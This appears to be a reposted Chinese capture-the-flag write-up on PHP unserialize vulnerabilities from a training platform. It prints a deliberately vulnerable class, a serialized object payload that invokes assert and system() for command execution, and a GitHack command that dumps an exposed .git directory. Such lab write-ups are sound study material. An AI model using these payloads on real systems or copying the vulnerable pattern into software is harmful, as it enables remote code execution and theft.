1. 程式人生 > 其它 >unserialize反序列化 安鸞 Writeup

unserialize反序列化 安鸞 Writeup

關於php反序列化漏洞原理什麼,可以看看前輩的文章:
https://xz.aliyun.com/t/3674
https://chybeta.github.io/2017/06/17/淺談php反序列化漏洞/
B站也有相關學習視訊
https://search.bilibili.com/all?keyword=php反序列化

安鸞平臺有兩題unserialize反序列化題目:

index.php

<?php

class site{
    public $url = 'www.whalwl.com';
    public $name;
    public $title;

    function __destruct(){
       $a = $this->name;
       $a($this->title);
    }
}
unserialize($_POST['dage']);

highlight_file("index.php");
?>

PHP序列化

<?php
class site{
    public $url = 'www.whalwl.com';
    public $name = 'assert';
    public $title = "system('ls');";
	#public $title = "system('cat flag_aeb45a3fb5a3d769.txt');";
}
$jzking121 = new site();
$object = serialize($jzking121);
print_r($object);
?>

O:4:"site":3:{s:3:"url";s:14:"www.whalwl.com";s:4:"name";s:6:"assert";s:5:"title";s:13:"system('ls');";}

記得POST提交:

第二題 code

使用GitHack提取網站的git資訊

python GitHack.py http://whalwl.xyz:8026/.git/
其中webshell_d5f6d142a4383e40.php

<?php
class site{
	public $domain = 'www.brskills.com';
    public $name;
    public $title;

    function __destruct(){
       $a = $this->name;
       $a($this->title);
    }
}
unserialize($_POST['dage']);
?>

修改一下變數名和值,就可以獲取flag。

本文來自部落格園,作者:jzking121,轉載請註明原文連結:https://www.cnblogs.com/jzking121/p/15138524.html